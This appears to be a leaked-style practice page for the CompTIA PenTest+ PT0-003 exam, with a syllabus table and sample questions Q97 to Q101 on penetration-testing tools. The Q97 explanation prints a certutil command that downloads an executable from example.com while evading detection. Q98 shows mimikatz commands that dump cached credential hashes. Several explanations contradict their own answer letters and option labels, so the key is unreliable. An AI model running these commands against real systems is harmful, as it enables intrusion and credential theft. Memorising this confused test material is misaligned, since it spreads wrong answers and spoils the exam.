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CompTIA PT0-003 Exam Syllabus Topics:

Topic	Details
Topic 1	• Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities, collaboration, and communication in a penetration testing environment. The topic covers testing frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and recommend remediation effectively within reports, crucial for real-world testing scenarios.
Topic 2	• Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and maintaining persistence within a system. This topic also covers lateral movement within an environment and introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities, ensuring analysts understand the post-exploitation phase's responsibilities.
Topic 3	• Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud, wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and automating attacks with scripting will also be emphasized.
Topic 4	• Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration purposes. They will also understand which tools to use for these stages, essential for gathering crucial information before performing deeper penetration tests.
Topic 5	• Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand security gaps beyond just the digital landscape.

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CompTIA PenTest+ Exam Sample Questions (Q97-Q102):

NEW QUESTION # 97
A penetration tester needs to use the native binaries on a system in order to download a file from the internet and evade detection. Which of the following tools would the tester most likely use?

- A. nc.exe
- B. netsh.exe
- C. certutil.exe
- D. cmdkey.exe

Answer: C

Explanation:
* Certutil.exe for File Downloads:
* certutil.exe is a native Windows utility primarily used for managing certificates but can also be leveraged to download files from the internet.
* Example command:
bash
Copy code
certutil.exe
-urlcache -split -f http://example.com/file.exe file.exe
* Its native status helps it evade detection by security tools.
* Why Not Other Options?
* A (netsh.exe): Used for network configuration but not for downloading files.
* C (nc.exe): Netcat is not native to Windows and would need to be introduced to the system.
* D (cmdkey.exe): Used for managing stored credentials, not downloading files.
CompTIA Pentest+ References:
* Domain 3.0 (Attacks and Exploits)

NEW QUESTION # 98
During a penetration test, a tester compromises a Windows computer. The tester executes the following command and receives the following output:
mimikatz # privilege::debug
mimikatz # lsadump::cache
---Output---
lapsUser
27dh9128361tsg2459210138754ij
---OutputEnd---
Which of the following best describes what the tester plans to do by executing the command?

- A. The tester plans to collect the ticket information from the user to perform a Kerberoasting attack on the domain controller.
- B. The tester plans to collect application passwords or hashes to compromise confidential information within the local computer.
- C. The tester plans to perform the first step to execute a Golden Ticket attack to compromise the Active Directory domain.
- D. The tester plans to use the hash collected to perform lateral movement to other computers using a local administrator hash.

Answer: D

Explanation:
The tester is using Mimikatz to dump cached credentials from Local Security Authority (LSA) memory.
Pass-the-Hash (Option C):
The tester extracts cached credentials to authenticate without cracking passwords.

Pass-the-Hash (PtH) allows lateral movement by reusing the NTLM hash on other systems.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Post-Exploitation Techniques in Windows" Incorrect options:
Option A (Golden Ticket attack): Requires KRBTGT ticket creation, not cached credentials.
Option B (Collect application passwords): Cached hashes are not application-specific.
Option D (Kerberoasting): Kerberoasting targets Service Principal Names (SPNs), not cached credentials.

NEW QUESTION # 99
A penetration tester is performing a network security assessment. The tester wants to intercept communication between two users and then view and potentially modify transmitted data. Which of the following types of on- path attacks would be best to allow the penetration tester to achieve this result?

- A. ARP poisoning
- B. DNS spoofing
- C. VLAN hopping
- D. SYN flooding

Answer: A

Explanation:
An on-path attack (previously known as MITM - Man-in-the-Middle) allows an attacker to intercept and modify communication between two parties.
ARP poisoning (Option B):
Attackers send fake ARP replies to associate their MAC address with the IP address of a legitimate device (e.
g., gateway).
This forces traffic to flow through the attacker's system, enabling packet capture and manipulation.
Tools like Ettercap, Bettercap, and ARP spoofing scripts are commonly used.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "On-Path Attacks and ARP Poisoning" Incorrect options:
Option A (DNS spoofing): Redirects users to malicious domains but does not intercept traffic.
Option C (VLAN hopping): Allows traffic to traverse VLANs, but does not intercept user communication.
Option D (SYN flooding): A DoS attack that overwhelms a target with half-open connections, but does not intercept traffic.

NEW QUESTION # 100
Which of the following tools should a penetration tester use to crawl a website and build a wordlist using the data recovered to crack the password on the website?

- A. Patator
- B. CeWL
- C. w3af
- D. DirBuster

Answer: B

Explanation:
CeWL, the Custom Word List Generator, is a Ruby application that allows you to spider a website based on a URL and depth setting and then generate a wordlist from the files and web pages it finds. Running CeWL against a target organization's sites can help generate a custom word list, but you will typically want to add words manually based on your own OSINT gathering efforts.
https://esgeeks.com/como-utilizar-cewl/

NEW QUESTION # 101
During a client engagement, a penetration tester runs the following Nmap command and obtains the following output:
nmap -sV -- script ssl-enum-ciphers -p 443 remotehost
| TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
| TLS_ECDHE_RSA_WITH_RC4_128_SHA
| TLS_RSA_WITH_RC4_128_SHA (rsa 2048)
TLS_RSA_WITH_RC4_128_MD5 (rsa 2048)
Which of the following should the penetration tester include in the report?

- A. Old, insecure ciphers are in use.
- B. The 3DES algorithm should be deprecated.
- C. 2,048-bit symmetric keys are incompatible with MD5.
- D. This server should be upgraded to TLS 1.2.

Answer: A

NEW QUESTION # 102
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